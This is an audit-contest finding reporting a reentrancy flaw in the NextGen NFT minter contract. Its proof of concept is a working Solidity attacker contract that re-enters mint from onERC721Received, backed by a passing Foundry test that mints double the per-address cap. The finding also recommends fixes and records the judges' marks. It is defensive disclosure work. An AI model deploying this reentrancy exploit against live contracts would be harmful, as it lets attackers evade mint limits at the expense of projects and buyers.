Reentrancy attack on minter contract enables users to purchase more NFTs than max purchasable number both in allowlist/public periods.

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L193-L198

Vulnerability details

Description

ERC721 contract derived by NextGenCore supports IERC721Receiver feature that calls onERC721Received function if msg.sender is a contract.

function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
    _mint(to, tokenId);
    require(
        _checkOnERC721Received(address(0), to, tokenId, data),
        "ERC721: transfer to non ERC721Receiver implementer"
    );
}

function _checkOnERC721Received(
    address from,
    address to,
    uint256 tokenId,
    bytes memory data
) private returns (bool) {
    if (to.isContract()) {
        try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
            return retval == IERC721Receiver.onERC721Received.selector;
        } catch (bytes memory reason) {
            if (reason.length == 0) {
                revert("ERC721: transfer to non ERC721Receiver implementer");
            } else {
                /// @solidity memory-safe-assembly
                assembly {
                    revert(add(32, reason), mload(reason))
                }
            }
        }
    } else {
        return true;
    }
}

This includes a vulnerability for malicious smart contracts override this function and try re-entrancy attacks to mint more NFTs than they are allowed to mint.

Proof of Concept

Here's a test case written in foundry that shows re-entrancy attack to mint more NFTs and the max allowed number.

contract BuyDouble {
    bool start;
    uint256 _numTokens;
    NextGenMinterContract _minter;
    uint256 _collectionId;

    function onERC721Received(address sender, address from, uint256 tokenId, bytes calldata data) external returns (bytes4) {
        if (start == false) {
            start = true;
            _minter.mint{value: address(this).balance}(
                _collectionId,
                _numTokens,
                0,
                "",
                address(this),
                new bytes32[](0),
                address(0),
                0
            );
        }

        return this.onERC721Received.selector;
    }

    function buy(NextGenMinterContract minter, uint256 collectionId, uint256 numTokens) public payable {
        _minter = minter;
        _numTokens = numTokens;
        _collectionId = collectionId;
        start = false;

        minter.mint{value: address(this).balance / 2}(
            collectionId,
            numTokens,
            0,
            "",
            address(this),
            new bytes32[](0),
            address(0),
            0
        );
    }
}

contract NextGenTest is Test {
    NextGenMinterContract public minter;
    NextGenCore public gencore;
    NextGenAdmins public admins;
    NextGenRandomizerNXT public randomizer;

    address public constant globalAdmin = address(0x100);

    function setUp() public {
        vm.startPrank(globalAdmin);

        admins = new NextGenAdmins();
        gencore = new NextGenCore("Test NFT", "TNFT", address(admins));
        randomPool xrandom = new randomPool();
        randomizer = new NextGenRandomizerNXT(address(xrandom), address(admins), address(gencore));
        minter = new NextGenMinterContract(address(gencore), address(0), address(admins));

        gencore.addMinterContract(address(minter));

        vm.stopPrank();
    }

    function testReentrancy() public {
        uint256 collectionId = 1;
        address artist = address(1);
        uint256 maxPurchase = 3;
    
        // Setup Collection
        vm.startPrank(globalAdmin);

        string[] memory scripts = new string[](0);
        gencore.createCollection("BAYC", "Yuga Labs", "Bored Apes", "https://yuga.com", "", "https://bayc.com/", "", scripts);
        gencore.setCollectionData(collectionId, artist, maxPurchase, 100, 1 days);
        gencore.addRandomizer(collectionId, address(randomizer));

        minter.setCollectionCosts(collectionId, 1 ether, 0.5 ether, 0, 1 hours, 0, address(0));
        minter.setCollectionPhases(collectionId, 0, 0, 1, 100 days, bytes32(0));

        vm.stopPrank();

        // Reentrancy Test
        BuyDouble buyer = new BuyDouble();
        buyer.buy{ value: 1 ether * 2 * maxPurchase } (minter, collectionId, maxPurchase);

        uint256 purchasedCount = gencore.retrieveTokensMintedPublicPerAddress(collectionId, address(buyer));
        assertEq(purchasedCount, 2 * maxPurchase);
    }
}

Result of the test:

Running 1 test for test/Audit.t.sol:NextGenTest
[PASS] testReentrancy() (gas: 2215300)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.19ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Use nonReentrant modifier for mint function to prevent re-entrancy attacks.

Also here's some more suggestions:
In mint and airDropTokens functions of NextGenCore contract, update states like tokensMintedPerAddress before actually minting/airdropping an NFT.

Assessed type

Reentrancy

[c4-pre-sort]

141345 marked the issue as duplicate of #51

[c4-pre-sort]

141345 marked the issue as duplicate of #1742

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg marked the issue as partial-50